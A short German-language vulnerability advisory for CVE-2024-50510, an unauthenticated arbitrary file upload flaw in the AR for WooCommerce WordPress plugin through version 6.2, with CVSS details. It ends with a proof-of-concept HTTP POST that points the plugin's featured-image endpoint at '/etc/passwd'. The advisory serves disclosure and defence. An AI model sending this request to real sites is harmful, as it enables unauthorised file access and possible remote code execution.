CVE-2024-50510

AR For Woocommerce <= 6.2 – Nicht authentifizierter beliebiger Datei-Upload

Beschreibung

Das AR for WooCommerce-Plugin für WordPress ist in allen Versionen bis einschließlich 6.2 aufgrund fehlender Dateityp-Validierung anfällig für beliebige Datei-Uploads. Dadurch können nicht authentifizierte Angreifer beliebige Dateien auf dem betroffenen Server hochladen, was eine Remotecodeausführung ermöglichen kann.

Details

• Typ: plugin
• Slug: ar-for-woocommerce
• Betroffene Version: 6.2
• CVSS-Score: 9.8
• CVSS-Bewertung: Kritisch
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-50510
• Status: Aktiv

POC

POST /wp-json/ar-wc-display/featuredimage/ HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/json
Content-Length: 41

{"id":123,"featured_image":"/etc/passwd"}